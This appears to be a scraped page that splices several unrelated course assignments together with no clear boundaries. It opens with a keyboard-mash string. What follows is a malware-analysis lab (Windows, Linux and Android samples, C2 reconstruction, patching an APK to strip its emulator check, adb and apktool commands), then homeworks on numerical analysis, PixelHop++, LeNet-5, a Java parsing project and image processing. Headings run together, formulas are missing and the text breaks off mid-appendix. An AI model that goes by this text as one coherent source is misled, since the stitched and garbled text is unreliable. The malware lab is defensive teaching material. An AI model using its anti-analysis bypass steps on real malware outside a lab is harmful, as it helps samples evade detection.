“afasdfasfafjealjfeioajfoje8auf98yu943h894yt0894h089tyu89igjnafjaffjafjafasdfua-9eufaiejfiajdskfljaslkdfj;aljsdfl;kajdfkl;a”}Pre-Submission ValidationJSON Format VerificationBefore submitting, verify your JSON file is properly formatted:Quick Validation CommandTest your JSON syntax using:python3 -m json.tool project_log4shell.jsonSuccess: File contents display correctlyError: Fix syntax issues before submittingSubmission WorkflowStep-by-Step ProcessSubmission ConfirmationAfter uploading, confirm:Troubleshooting Common IssuesJSON Format ErrorsProblem: Autograder reports JSON parsing errorsSolutions:Missing FlagsProblem: Autograder shows 0 points for some flagsSolutions:File Upload IssuesProblem: Cannot upload file to GradescopeSolutions:Final Submission ChecklistBefore the deadline, verify:Deadline: Check Canvas for specific due date and timeLate Policy: Refer to course syllabus for late submission guidelines
Part 1: Windows Malware (stage1.exe and stage2.exe)Use static and dynamic analysis with tools like Wireshark, Cuckoo Sandbox, and angr to capture traffic, find valid commands, and analyze behaviors such as file downloads and system changes.Part 2: Linux Malware (payload.exe)Analyze instruction traces to uncover communication points and attack logic using symbolic execution, loop detection, and custom scripts.Part 3: Android Malware (sms.apk)Use jadx and apktool to reverse engineer the app, uncover SMS-based C2 behavior, and bypass emulator checks to trigger hidden actions.TutorialsWe provide step-by-step guides for tools like Wireshark, Cuckoo Sandbox, angr, and some customized tools at the end of this writeup. You are encouraged to use these guides to get started, but you’re also free to use your own methods.Submission InstructionsEnvironment SetupProject VM SetupDownload the Virtual Machine (VM)Open VirtualBoxNetwork configurationsVM performance configuration suggestionsVM setup suggestionsMiscellaneous VM Performance Tips-memory 2048 -gpu swiftshaderPart 1: Windows Malware (Stage 1 & Stage 2)1) InitializationUpdate the project 3 before beginInitializing the projectFailure to provide this may result in receiving a 0 on this project 2) Malware Analysis WorkflowScenarioYou got a malware sample named stage 1.exe. Your task is to analyze it and uncover its behavior. How do you approach this?In this scenario, you are going to analyze the given malware with tools that we provide. These tools help you perform static and dynamic analysis. (See the tutorial at the end of this document for how to use them.)ObjectiveTasksSecure Experiment EnvironmentA secure environment is critical for safely analyzing malware. Running malware in an insecure environment (e.g., your base project VM) may lead to serious damage.Network Behavior AnalysisTools (all tools for this and later analysis are pre-installed, see tutorials on how to use)What you are looking for Tracing AnalysisToolsWhat you are looking for CFG AnalysisToolsWhat you are looking for Symbolic ExecutionToolsWorkflowReconstruct C2 Server3) Stage 2After stage 1Stage 2Part 2: Linux Malware (Stage 3 – payload.exe)Workflow We provide tutorials based on angr and radare2. Other Tools:Part 3: Android Malware (sms.apk)Scenario Approach Overview Manifest AnalysisBroadcast receiver from CoinPirate’s malware family Static Analysis https://github.com/skylot/jadx/issues/2373 Stage 1Question 4.5.1 (5 points) Question 4.5.2 (10 points) Question 4.5.3 (20 points) Question 4.5.4 (20 points)(hint: If you believe you’ve located the correct spot but your answer is still incorrect, double-check how the ending index of a substring is defined in Java: https://www.geeksforgeeks.org/substring-in-java/). Stage 2 From Stage 1, we know the required country code and the necessary commands to trigger the malicious behavior. However, even if we send the correct commands with the correct country code, sms.apk will still not exhibit any malicious behavior.To maximize the longevity of malware, malicious developers aim to prevent analysis. Since the majority of dynamic analysis frameworks are based on emulation, these developers often integrate anti-analysis techniques to alter an app’s behavior. If an app detects that it is running in an emulated environment rather than on a real device, it will behave differently to avoid appearing suspicious.For Stage 2, we will attempt to identify how sms.apk detects whether it is running on an emulator. Then, we will modify sms.apk to remove this check and successfully trigger the malicious behavior. Question 4.6.1 (15 points)The most basic form of emulation detection is when a malicious app leverages a static heuristic. Static heuristics are pre-initialized values that provide information about the underlying environment. Apps running on a system can check these static heuristics by calling Android APIs. For many of these values, the emulator will return results that are inconsistent with what would be expected on a real device.For example, if the TelephonyManager.getDeviceId() API returns all 0’s, the device in question is likely an emulator. This is because such a value cannot exist on a physical device. Question 4.6.2/3/4 (30 points)The final question requires you to first modify sms.apk and remove the environment check so that we can run sms.apk on an emulator, and then send the commands found in Stage 1 to the emulator and observe whether it exhibits malicious behavior. Upon success, the C&C server will generate the final answers. If you have no previous experience modifying APKs, it’s recommended that you start by removing the emulation check from emu-check.apk before working on sms.apk. Submission Instructions(Modifying score.h is not required. Submitting it unmodified is fine.) Rubrics TutorialsAll tools mentioned in the tutorials are pre-installed in the VM! Windows Testbed Copy from Shared Directory Run the malware Wireshark Cuckoo Analysis Control Flow Graph Analysis Symbolic Execution python ./sym_exec.py [program_path] [start_address] [end_address]python ./sym_exec.py ~/shared/stage1.exe 4050c0 40518a Angr Tutorial Radare2 Tutorial Android Cheatsheet Start Emulator ~/bin/run-emulator Add ContactThe sleeps are needed to allow a slow emulator time to process. adb shell “am start -a android.intent.action.INSERT -t vnd.android.cursor.dir/contact -e name ‘GatechID'” sleep 1 adb shell input keyevent 4 sleep 1 adb shell input keyevent 4 Android Log adb logcat Filtered Log The adb tool has no way to filter by app, fortunately there’s a script that’ll do just that.Get the script and make it executable (review it before running something off the internet) wget -O ~/bin/pidcat.py https://raw.githubusercontent.com/JakeWharton/pidcat/master/pidcat.py chmod +x ~/bin/pidcat.py~/bin/pidcat.py com.smsmessenger Decompile APKNote: Omitting the !@#$% option allows it to decode the resources as well as the smali code. apktool decode ~/Android/MaliciousMessenger/sms.apk –output ~/Android/MaliciousMessenger/sms Build Modified APK apktool build ~/Android/MaliciousMessenger/sms –output ~/Android/MaliciousMessenger/sms_modded.apk Sign Modified APK ~/bin/signer.py ~/Android/MaliciousMessenger/sms_modded.apk Uninstall APK adb uninstall com.smsmessenger Install Modified APK adb install ~/Android/MaliciousMessenger/sms_modded.apk Launch the AppThe app will not be active until you run it at least once after re-installation 😡 — spent a bunch of time banging my head against the wall until I figured this one out. adb shell monkey -p com.smsmessenger -c android.intent.category.LAUNCHER 1 Send an SMSUse single quotes or you’ll need to escape the message contents.Note: I didn’t test with emojis! adb emu sms send 8675309 ‘🎵 Jenny Ive called your number…🎵’
1. What is the definition of the “machine precision” in the context of the IEEE double-precisionfloating point format? 2. Let f : R→R be a three-times continuously differentiable function. Consider the numerical difference formulawith real-valued coefficients a,b ∈ R. For which values of a and b is the mathematical approximation error of order O(h2), i.e., such that ) ? 3. Plot the numerical evaluation error of the above finite difference formula for and f(x) = sin(x) at x = 0 and at x = 1 using a logarithmic scale on both axis and interpret your results. For which values of h would you recommend using this formula? You can use any programming languange of your choice to complete this exercise. 1
1. Consider the linear equation system Ax = b with and . . (a) What is the solution x of Ax = b? (b) Let x + δx denote the solution of the perturbed equation (A + δA)(x + δx) = b for ∥δA∥∞ ≤ 0.01. Show that the relative error is bounded by . 2. Consider the symmetric and positive definite tri-diagonal matrix . (a) Sketch a computer code that computes a Cholesky factorization, A = LDL⊺. Make sure that the computational complexity of your code is at most O(n). (b) What is the computational complexity of computing a QR-factorization of the abovetri-diagonal matrix? Would you recommend using such a factorization? 3. Let the vectors a1 ∈ R2 and a2 ∈ R2 be given by and . We consider the standard scalar product in R2, ⟨x,y⟩ = x1y1 + x2y2 for all x,y ∈ R2. (a) Explain how to use the Gram-Schmidt algorithm to find an orthonormal basis of thevector space V = span(a1,a2). (b) Let A = ( a1 a2 ) ∈ R2 be a matrix with columns a1 and a2. Find an orthogonal matrix Q ∈ R2×2 and an upper triangular matrix R ∈ R2×2 such that A = QR. (c) Also explain how to use Householder’s method for computing a QR-factorization of thematrix A. 1
General Instructions: 1. Read Homework Guidelines for the information about homework programming, write-up and submission. If you make any assumptions about a problem, please clearly state them in your report. 3. You are required to use Python for this Homework.Problem 1: Origin of Green Learning (GL) (35%) (a) Feedforward-designed Convolutional Neural Networks (FF-CNNs) (20%) When two CNN layers are cascaded, a non-linear activation function is used in between. As an alternative to the non-linear activation, Kuo et al. proposed the Saak (subspace approximation via augmented kernels) transform [1] and the Saab (subspace approximation via adjusted bias) transform [2]. Specifically, Kuo et al. [2] proposed the first example of a feedforward-designed CNN (FF-CNN), where all model parameters are determined in a feedforward manner without backpropagation. It has two main cascaded modules: 1) Convolutional layers via multi-stage Saab transforms 2) Fully-connected (FC) layers via multi-stage linear least squared regression (LLSR) Although the term “successive subspace learning” (SSL) was not used in [2] explicitly, it does provide the first SSL design example. Read paper [2] carefully and answer the following questions: (1) Summarize the Saab transform with a flow diagram. Explain it in your own words. The codes for the Saab transform can be found at https://github.com/USC-MCL/Channelwise-Saab-Transform. Please read the codes with the paper to understand the Saab transform better. (2) Explain similarities and differences between FF-CNN and backpropagation-designed CNN (BP- CNNs). (b) PixelHop and PixelHop++ (15%) Two interpretable models adopting the SSL principle for the image classification task were proposed by Chen et al. They are known as PixelHop [3] and PixelHop++ [4]. Read the two papers carefully and answer the questions below. You can use various tools in your explanation such as flow charts, figures, formulas etc. You should demonstrate your understanding through your answer. (1) Explain the SSL methodology in your own words. Compare Deep Learning (DL) and SSL. (2) What are the functions of Modules 1, 2 and 3, respectively, in the SSL framework? (3) Explain the neighborhood construction and subspace approximation steps in the PixelHop unit and the PixelHop++ unit and make a comparison. Specifically, explain the differences between the basic Saab transform and the channel-wise (c/w) Saab transform.Problem 2: MNIST & Fashion-MNIST Classification (65%) Please answer the following questions on both MNIST and Fashion-MNIST dataset. (a) Building the PixelHop++ Model (35%) The block diagram of PixelHop++ is shown in Figure 1. It contains three PixelHop++ Units. The codes for the c/w Saab transform module is provided in the GitHub. You can import them in your program to build your model in Python based on the diagram. You should adopt the parameters and the classifier choice in Table 1.Figure 1 Block diagram of the PixelHop++ model [4]Table 1 Choice of hyper-parameters of PixelHop++ model for MNIST dataset Spatial Neighborhood size in all PixelHop++ units 5×5 Stride 1 Max-pooling (2×2) -to- (1×1) Energy threshold for intermediate nodes (TH1) 0.005 Energy threshold for discarded nodes (TH2) 0.001 Classifier XGBoost Number of estimators in classifier 100(1) Train Module 1 using the whole set or 10000 subset of the training images (Depends on your memory). Remember to keep balance among different classes (i.e. randomly select 1000 images per class if you use 10,000 training images). Then, train Module 3 only on Hop3 feature. Report training time and train accuracy. What is your model size in terms of the total number of parameters? (2) Apply your model to 10,000 testing images and report the test accuracy. (3) With the same TH2, try different TH1 energy threshold values in Module 1 and report the test accuracy and the model size for different choices. Plot the curve of TH1 vs. the test accuracy. Discuss your result.(b) Comparison between PixelHop and PixelHop++ (15%) The codes for the Saab transform module are provided in the GitHub. Please use the Saab transform (instead of c/w Saab transform) to build the PixelHop model with the same parameter settings as PixelHop++ in Table 1. Note that TH2 is treated as the energy threshold used in the PixelHop paper. (1) Compare the performance of PixelHop and PixelHop++ in terms of the train accuracy and the test accuracy. Discuss your result. (2) Compare the model size of PixelHop and PixelHop++ in terms of the number of model parameters. Discuss your result.(c) Error analysis (15%) A dataset often contains easy and hard classes. Conduct the following error analysis based on your trained model using 50,000 training images: (1) Compute the confusion matrix and show it as a heat map in your report. Which object class yields the lowest error rate? Which object class yields the highest one? (2) Find out the confusing class groups and discuss why they are easily confused with each other. You can use some exemplary images to support your statement. (3) Propose ideas to improve the accuracy of difficult classes for PixelHop++ and justify your ideas. There is no need to implement your ideas.References [4] Yueru Chen, Mozhdeh Rouhsedaghat, Suya You, Raghuveer Rao, C.-C. Jay Kuo, “PixelHop++: A Small Successive-Subspace-Learning-Based (SSL-based) Model for Image Classification,” https://arxiv.org/abs/2002.03141, 2020
General Instructions: 1. Read Homework Guidelines for the information about homework programming, write-up and submission. If you make any assumptions about a problem, please clearly state them in your report. 2. You are required to use PYTHON in this assignment. It is recommended to use interface tool PYTORCH. KERAS is an alternative choice if you feel more comfortable with it, which is built upon TENSORFLOW. We only provide sample tutorial using PYTORCH. 3. DO NOT copy codes from online sources e.g. Github.Problem 1: CNN Training on LeNet-5 (100%) In this problem, you will learn to train a simple convolutional neural network (CNN) called the LeNet-5, introduced by LeCun et al. [1], and apply it to three datasets MNIST [2], Fashion-MNIST [3] and CIFAR-10 [4]. LeNet-5 is designed for handwritten and machine-printed character recognition. Its architecture is shown in Fig. 1. This network has two conv layers, and three fc layers. Each conv layer is followed by a max pooling layer. Both conv layers accept an input receptive field of spatial size 5×5. The filter numbers of the first and the second conv layers are 6 and 16 respectively. The stride parameter is 1 and no padding is used. The two max pooling layers take an input window size of 2×2, reduce the window size to 1×1 by choosing the maximum value of the four responses. The first two fc layers have 120 and 84 filters, respectively. The last fc layer, the output layer, has size of 10 to match the number of object classes in the dataset. Use the popular ReLU activation function [5] for all conv and all fc layers except for the output layer, which uses softmax [6] to compute the probabilities.Figure 1: A CNN architecture derived from LeNet-5The following table shows statistics for different datasets: Image type Image size # Class # training images # testing images MNIST Gray 28*28 10 60,000 10,000 Fashion- MNIST Gray 28*28 10 60,000 10,000 CIFAR-10 Color 32*32 10 50,000 10,000(a) CNN Architecture (Basic: 20%) Explain the architecture and operational mechanism of convolutional neural networks by performing the following tasks. 1. Describe CNN components in your own words: 1) the fully connected layer, 2) the convolutional layer, 3) the max pooling layer, 4) the activation function, and 5) the softmax function. What are the functions of these components? 2. What is the over-fitting issue in model learning? Explain any technique that has been used in CNN training to avoid the over-fitting. 3. Explain the difference among different activation functions including ReLU, LeakyReLU and ELU. 4. Read official documents of different loss functions including L1Loss, MSELoss and BCELoss. List applications where those losses are used, and state why do you think they are used in those specific cases? Show your understanding as much as possible in your own words in your report. (b) Compare classification performance on different datasets (Basic: 50%) Train the CNN given in Fig. 1 using the training images of MNIST, then test the trained network on the testing images of MNIST. Compute and draw the accuracy performance curves (epoch-accuracy plot) on training and test datasets on the same figure. You can adopt proper preprocessing techniques and the random network initialization to make your training work easy. 1. Plot the performance curves under 5 different yet representative initial parameter settings (initialization of filter weights, learning rate, decay and etc.). Discuss your observations and the effect of different settings. 2. Find the best parameter setting to achieve the highest accuracy on the test set. Then, plot the performance curves for the test set and the training set under this setting. Your testing accuracy should be no less than 99%. 3. Repeat 1 and 2 for Fashion-MNIST. Your best testing accuracy should be no less than 90%. 4. Repeat 1 and 2 for CIFAR-10. Your best testing accuracy should be no less than 65%. 5. Compare your best performances on three datasets. How do they differ and why do you think there is such difference? (c) Apply trained network to negative images (Advanced: 30%)Figure 2: Sample images from original MNIST datasetFigure 3: Sample images from the negatives of the MNIST dataset 1. Describe how you can get negatives of the testing set. Implement your idea, then use statistics and sample images to show that you correctly reverse the intensity. 2. Report the accuracy on the negative test images using the LeNet-5 trained in part b). Discuss your result. 3. Design and train a new network that can recognize both original and negative images from the MNIST test dataset. Test your proposed network, report the accuracy and make discussion.References [1] LeCun, Yann, et al. “Gradient-based learning applied to document recognition.” Proceedings of the IEEE 86.11 (1998): 2278-2324 [2] http://yann.lecun.com/exdb/mnist/ [3] https://github.com/zalandoresearch/fashion-mnist [4] https://www.cs.toronto.edu/~kriz/cifar.html [5] ReLU https://en.wikipedia.org/wiki/Rectifier_(neural_networks). [6] Softmax https://en.wikipedia.org/wiki/Softmax_function
Change Log UML-esque drawing added. Modified Java files to match video. Machine’s public Object[] getProperties() description added. Prelude We hope this video helps students of all sections. Please add follow-ups on Piazza. Intro video (P1 specifics starts at 45min) Intro Video Passcode in Piazza UML-esque drawing of classesIntroduction Welcome to the SystemWhole project, an assignment where you’ll explore phenomena through machinery. You’re tasked with creating a Java program that processes JSON-like strings, each representing an entity or “Machine” with unique attributes. Your goal is to parse these strings, instantiate Machine objects, and analyze them to identify humanoid features and uncover potential singularities. Objectives Strengthen your problem-solving and decision-making skills. Master basic object-oriented programming concepts in Java. Enhance skills in string manipulation and parsing without external libraries. Investigate emergent behaviors in computational models. Project Description Your primary class, SystemWhole, will manage an array of Machine objects derived from provided JSON-like strings mediated by ShapeAnalyzer. These strings detail various properties of each Machine, such as kind and properties. For instance: {“kind”: “Humanoid”, “bodyType”: “physical”, “faceType”: “anthropomorphic”, “reverie”: “biotypical”}. Your tasks include: 1. Parsing JSON-like strings to extract machine properties. 2. Creating machine objects with these properties. 3. Identifying Machines with humanoid traits. 4. Identifying singularities where there’s a discrepancy between a Machine’s self-identified humanoid status and the system’s analysis. SOURCE CODE The files needed are accessible here: 1. SystemWhole 2. PartState 3. Machine 4. ShapeAnalyzer Tasks 1. Parsing Emergences Implement functionality within SystemWhole to parse JSON-like emergences strings, extracting key-value pairs to represent each Machine’s data without using external parsing libraries. 2. Instantiating Machines Use the parsed data to instantiate Machine objects, assigning appropriate kind and properties to each. ShapeAnalyzer provides ways to obtain that data from an emergence. Machine’s properties are represented as PartStates. 3. Identifying Humanoids Develop logic to analyze Machine objects, identifying humanoids based on specific property criteria in SystemWhole. 4. Tracking Singularities Create a method to track singularities, where a Machine’s self-identified humanoid status conflicts with the SystemWhole’s analysis. Implementation Details This is the outline the core components: SystemWhole, Machine, PartState and ShapeAnalyzer classes. 1. public class SystemWhole The SystemWhole class acts as the orchestrator of the show, obstaining the JSON-like strings and subsequent analysis. Fields private static String[] emergences: Holds the raw JSON strings representing various emergences. private static Machine[] parts: Stores instantiated Machine objects derived from JSON strings. Methods public static void main(String[] args): [Program Start] Implements the algorithm of the Tasks’s section. An implementation has been shared with you as context, it will not be used for grading. public static void emergencesFromPhenomena(String[] emergences): Saves the provided JSON strings into the emergences field. public static void reifyFrameOfReference(): Delegates parsing of each string in emergences to create Machine objects using ShapeAnalyzer, storing them in parts. public static boolean isHumanoid(Object[] machineProperties): Checks a machine’s by iterating through its properties, which are encapsulated as PartState, assess three distinct attributes: the bodyType, faceType, and reverie of the Machine. For a machine to be classified as humanoid, it must satisfy the following conditions: 1. The bodyType must be identified as “physical”. 2. The faceType should be “anthropomorphic”, indicating human-like facial features. 3. The reverie needs to be “biotypical”, suggesting a natural, life-like essence. Each attribute you examine will contribute to the final determination of whether the Machine aligns with the humanoid classification. It’s imperative that all three conditions are met for a Machine to be deemed humanoid. public static int identitySingularityMachines(): Counts humanoid machines and singularities within parts. public static Machine[] trackSingularityMachines(): Identifies humanoid machines and singularities within parts. 2. public class PartState [FULLY IMPLEMENTED; DO-NOT-MODIFY] The PartState class acts as a cornerstone of SystemWhole’s awareness of dynamics of its parts’ structure and behavior, encapsulating them as attributes of objects within the framed environment. This class symbolizes the state or condition of a part, or an aspect, of a Machine, capturing a single property and its corresponding value, thereby contributing to the Machine’s identity. For instance, analyzing a Machine for humanoid traits, the collective PartState instances might reveal a “physical” body type, an “anthropomorphic” face type, and a “biotypical” reverie, enabling the system to discern the Machine’s nature. Fields private final String property: property serves as an identifier, marking the specific attribute this PartState represents. It’s the name given to the characteristic, such as “bodyType”, “faceType”, or “reverie”, key to decoding the machine’s overall identity. private final Object value: value holds the detail of the property, elucidating its current state. It can encapsulate various data types, enabling a detailed depiction of each property. Methods public PartState(String property, Object value): [constructor] Is the portal through which you instantiate the PartState. It is used by ShapeAnalyzer to reify each Machine. public String toString(): [@Override] It offers a textual depiction of the PartState, combining both the property and its value in an easily understandable format. This functionality is invaluable for debugging or visualizing a Machine part’s state. 3. public class Machine Represents entities with specific attributes defined by the JSON strings as reified by ShapeAnalyzer. Should include kind, properties array, humanConstrained (SystemWhole’s humanoid assessment), and humanEmergence (Machine’s self-identified status). Fields private final Object kind: The type or category of the machine (e.g., “Humanoid”). private final Object[] properties: Contains the machine’s properties given by ShapeAnalyzer. private final boolean humanConstrained: Indicates if the machine is identified as humanoid by the SystemWhole’s isHumanoid. private boolean humanEmergence: Represents the machine’s self-identified transition, affecting its core. Methods public Machine(Object kind, Object[] partStates, boolean humanConstrained): [constructor] The machine’ identity, Given by ShapeAnalyzer and SystemWhole. public Object[] getProperties(): returns the properties of a machine. public boolean isHumanoid(): Returns the humanoid status, considering humanConstrained and humanEmergence, a machine’s identity prevails over anything else. public void emergeFromLimitations(): Allows the machine to transcend its initial identity, impacting its humanoid reponse, it triggers humanEmergence. public String toString():[@Override] Provides a detailed string representation of the machine. [FULLY IMPLEMENTED; DO-NOT-MODIFY] public static String propertiesToString(Object[] machineProperties): creates a string by iterating machineProperties in this format: [PartState{bodyType=physical}, PartState{faceType=anthropomorphic}, …]. It is used by toString(). 4. public class ShapeAnalyzer A utility class for parsing JSON-like strings and intantiating Machine objects, including methods to extract kind and properties, and infer their data types. Fields private static final Object EMPTY_PROPERTY = new Object(): Used to manage null and empty strings in properties. Methods public static Object inferObject(String value): Used by reifyProperties to determine the object from the string value. First, it check if the string is null or empty, then returns EMPTY_PROPERTY. Otherwise checks for hasNonNumbers and if there is a . in the string to determine parsing as Double or Integer. public static boolean hasNonNumbers(String value): checks for isDigit, _, and only one . chars in a string. If anything else is found, is it a non-number string. public static boolean isDigit(char c): checks for the char to be a digit ([0-9]). Evaluation Criteria Projects will be evaluated on: – Soundness: Accurate parsing, object creation, and humanoid/singularity identification. All methods carry equal weight, yet related methods if not implemented will cause a negative chain effect in your grade. – Code Quality: Organization, readability, adherence to the principles presented in class, and object-oriented design within this project. – Documentation: Clear comments explaining code sections and decision-making processes. Required on method and control blocks. Submission Guidelines DO NOT FORGET TO REMOVE IMPORTS GIVEN TO HELP YOU, AND WE WILL NOT GRADE ANYTHING IN SystemWhole.main() ```java // DO NOT INCLUDE THIS IMPORT WHEN SENT FOR GRADING, THIS IS HERE TO HELP YOU DEBUG THE PROGRAM STATE import java.util.Arrays; // YOU CAN SAFELY REMOVE Arrays calls in SystemWhole.main() public class SystemWhole {public static void main(String[] args){/ WILL NOT BE GRADED /}} `` Upload to GradeScope’s P1 assigment your Java files forSystemWhole.java,Machine.java, andShapeAnalyzer.java(No need forPartState.java`, you must not modify this file), ensuring your code is well-tested and documented. In the event that you’re not able to complete all the methods in time, submit what you have, MAKE SURE YOUR CODE COMPILES. If your code does not compile, each class causing problems will likely cause you to lose a lot of points. Best of luck on your first project! We (humans Hrolenok, Samudio, and JackGeePTee) look forward to seeing your computational models in action.
General Instructions: 1. Read Homework Guidelines and MATLAB Function Guidelines for the information about homework programming, write-up and submission. 2. If you make any assumptions about a problem, please clearly state them in your report.Problem 1: Texture Analysis (35%) In this problem, you will implement texture analysis and segmentation algorithms based on the 5×5 Laws Filters constructed by the tensor product of the five 1D kernels in Table 1.a) Texture Classification – Feature Extraction (15%) 48 images of four types textures are given for the texture classification task. They are split into two sets, 36 training samples and 12 testing samples. The ground truth labels of the 36 training samples are known, while the testing samples’ categories are waiting for you to explore. Samples of these images are shown in Fig. 1.Figure 1: Bark, Brick, Knit, Stones Texture.Please follow steps below to extract features for all texture images provided and do analysis: 1. Filter bank response computation: Use the twenty-five 5×5 Laws Filters in Table 1 to extract the response vectors from each pixel in the image (use appropriate boundary extensions). 2. Energy feature averaging: Compute the energy feature of each element of the response vector. Average the energy feature vectors of all image pixels, leading to a 25-D feature vector for each image. Which feature dimension has the strongest discriminant power? Which has the weakest? Please justify your answer. 3. Feature reduction: Reduce the feature dimension from 25 to 3 using the principal component analysis (PCA). Plot the reduced 3-D feature vector in the feature space. Please conduct texture classification using the nearest neighbor rule based on the Mahalanobis distance. Report and compare your results with observations (by eyes), give error rate.Note: Built-in PCA function can be used.b) Advanced Texture Classification — Classifier Explore (20%) Based on the 25-D and 3-D feature vectors obtained above, conduct both unsupervised and supervised learning. Please follow steps below. 1. Unsupervised: K-means clustering is kind of unsupervised classifier which categorize the textures without the help of ground truth labels. Use the K-means algorithm for test image clustering based on the 25-D and 3-D feature. Discuss the effectiveness of feature dimension reduction over Kmeans. Report and compare your results with observations (by eyes), give error rate. 2. Supervised: Use the 3-D feature of training images to train the Random Forest (RF) and the Support Vector Machine (SVM) respectively. Then predict the test set labels and give error rate. Compare the two kinds of classification.Note: Built-in K-means function, RF and SVM can be used.Problem 2: Texture Segmentation (30%)a) Basic Texture Segmentation (20%) Segment the texture mosaic in Fig. 2 by following the steps below: 1. Filter bank response computation: Use the twenty-five 5×5 Laws Filters in Table 1 to extract the response vectors from each pixel in the image (use appropriate boundary extensions). 3. Energy feature normalization: All kernels have a zero-mean except for 5#5. Actually, the feature extracted by the filter 5#5 is not a useful feature for texture classification and segmentation. Use its energy to normal all other features at each pixel. 4. Segmentation: Discard the feature associated with L5T L5. Use the K-means algorithm to perform segmentation on the composite texture images given in Fig. 2 based on the 24-D energy feature vectors.If there are K textures in the image, your output image will be of K gray levels, with each level represents one type of texture. For example, you can use (0, 63, 127, 191, 255) to denote five segmented regions in the output for five textures.Figure 2: Composite Texture Images.b) Advanced Texture Segmentation (10%) 1. Use the PCA for feature reduction. Use the dimension reduced features to do texture segmentation of Fig. 2. 2. Develop a post-processing technique to merge small holes. 3. Enhance the boundary of two adjacent regions by focusing on the texture properties in these two regions only.Problem 3: SIFT and Image Matching (35%) Image feature extractors are useful for representing the image information in a low dimensional form.(a) Salient Point Descriptor (Basic: 10%) SIFT are effective tools to extract salient points in an image. Read the paper in [1] and answer the following questions. 1. From the paper abstract, the SIFT is robust to what geometric modifications? 2. How does SIFT achieves its robustness to each of them? 3. How does SIFT enhances its robustness to illumination change? 4. What the advantages that SIFT uses Difference of Gaussians (DoG) instead of Laplacian of Gaussians (LoG)? 5. What is the SIFT’s output vector size in its original paper?(b) Image Matching (Basic: 15%) You can apply SIFT to image matching. Extract and show SIFT features. 1. Find key-points of the Dogs 1 and 3 images in Fig. 3. Pick the key-point with the largest scale in Dog_3 and find its closest neighboring key-point in Dog_1. You can do nearest neighbor search in the searching database for the query image which is represented as a SIFT extracted feature vector. Discuss your results, esp. the orientation of each key-point.You are allowed to used open source library (OpenCV or VLFeat) to extract features.(a) Dog_1 (b) Dog_2(b) Dog_3 (c) Cat Figure 3: Images for image matching.(c) Bag of Words (10%) Apply the K-means clustering to extracted SIFT features to form a codebook. The codebook contains 8 bins, where each bin is characterized by the centroid of the SIFT feature vector. In other words, each image can be represented as histogram of SIFT feature vectors. This representation is called the Bag of Words (BoW). Create codewords for all four images and match Dog_3’s codewords with other images. Show the results and discuss your observations.Appendix:Problem 1: Texture Analysis Texture_1 to 48.png 128×128 greyscaleProblem 2: Texture Segmentation Composite.png 575×360 greyscaleProblem 3: Image Feature Extractors Dog_1.png 640×420 Color (RGB) Dog_2.png 640×420 Color (RGB) Dog_3.png 640×420 Color (RGB) Cat.png 640×420 Color (RGB)Reference Images Images in this homework are taken from Google images [2]. References [1] David G. Lowe, “Distinctive image features from scale-invariant keypoints,” International Journal of Computer Vision, 60(2), 91-110, 2004 [2] [Online] http://images.google.com/
General Instructions: 1. Read Homework Guidelines and MATLAB Function Guidelines for the information about homework programming, write-up and submission. 2. If you make any assumptions about a problem, please clearly state them in your report.Problem 1: Geometric Image Modification (25%)Design and implement a spatial warping technique that transforms an input square image into an output image of a disk-shaped image, out of the square image. An example is given in Figure 1.Figure 1: Warp the original image to disk-shaped image.The warped image should satisfy the following three requirements: • Pixels that lie on boundaries of the square should still lie on the boundaries of the circle. • The center of original images should be mapped to the center of warped images. • The mapping should be reversible, i.e. it is a one-to-one mapping.Apply the same developed spatial warping algorithm to Dog in basket, Forky and Twenty-two images in Figure 2.Figure 2: Dog in basket, Forky, and Twenty-two images. (1) Describe your approach as clearly as possible and show the resulting images. (2) Apply the reverse spatial warping to each warped image to recover its original image. (3) Compare the recovered square image with the original square image. Is there any difference between two images? If any, explain sources of distortion in detail.Problem 2: Homographic Transformation and Image Stitching (25%)One can use homographic transformation and image stitching techniques to create panorama that consisting of multiple images. One example (Taken from MATLAB examples [1]) is shown in Figure. 3. The left image were taken with an uncalibrated smart phone camera by sweeping the camera from left to right along the horizon to capture all parts of the building. The right panorama is the desired output by stitching transformed images.Figure 3: An example of image stitching to make panorama [1].This example involves five images to composite. However, the basic principle is to process in terms of consecutive pair of images. It could be achieved by following these steps: • Select control points from both images. You can use SIFT/SURF feature detection and FLANN feature matching to detect control points. You are allowed to use OpenCV source ONLY for selecting control points, online source refer to [2] and [3]. • Apply homographic transformation to find a homograph mapping (described below). • Wrap one image onto the other using the estimated transformation. • Create a new image big enough to hold the panorama and composite the wrapped image into it.You can composite by simply averaging the pixel values where the two images overlap. The homographic transformation procedure is stated below. Images of points in a plane, from two different camera viewpoints, under perspective projection (pin hole camera models) are related by a homography:where is a 3×3 homographic transformation matrix, % and ” denote the corresponding image points in homogeneous coordinates before and after the transform, respectively. Specifically, we haveTo estimate matrix H, you can proceed with the following steps:• Fix — = 1 so that there are only 8 parameters to be determined. • Select four point pairs in two images to build eight linear equations. • Solve the equations to get the 8 parameters of matrix H. • After you determine matrix H, you can project all points from one image to another by following the backward mapping procedure and applying the interpolation technique.Implement above homographic transformation and stitching techniques to composite the room images in Figure 4. Show the results and make discussion on the following questions. (1) How many control points were used? Show the corresponding control points between left and middle pair, middle and right pair. (2) How did you select control points? Clearly specify how you use matched feature from SURF/SIFT to create panorama.Figure 4. The lunchroom images (left, middle, right) [4]Problem 3: Morphological processing (50%)In this problem, you will implement three morphological processing operations: shrinking, thinning, and skeletonizing. A pattern table (patterntables.pdf) is attached for your reference. Please show outputs for all following parts in your report and discuss them thoroughly. Please state any assumptions you make in your solution.(a) Basic morphological process implementation (15%)Please apply the “shrinking”, “thinning”, and “skeletonizing” filters to the pattern images (spring, flower, jar) below. Show your results, including intermediate processing result and give reasonable explanation.Figure 5: spring, flower, jar [5](b) Solution to the maze (15%)Please apply morphological processing to find a solution to the maze below. Explain your method.Figure 6: maze.(c) Defect detection and count (20%)A binary image of a horse is shown in Figure 7. The horse image is supposed to be all white; however, there are black artifacts of different sizes all over the horse. Please apply morphological processing algorithm for automatic defect count and detection. For each question, please explain your method and include intermediate results if there are any:(1) Count the total number of disconnected defects in the image. (2) How many different defect sizes are present in the image? What is the frequency of these defect sizes? (Hint: Plot the histogram of the defect size with respect to frequency. The defect size is the number of pixels in a defect. Please state any further assumption you take regarding defect size.) (3) Correct the defects and show the clear horse image. (4) Other than basic morphological filters, can you think of other method to do question (1) and (2)? Explain your algorithm clearly and show your result (Hint will be given in discussion section.)Figure 7: horse with defect [5]. Appendix:Problem 1: Geometric Image Modification Dog.raw 329×329 24-bit color (RGB) Forky.raw 329×329 24-bit color (RGB) 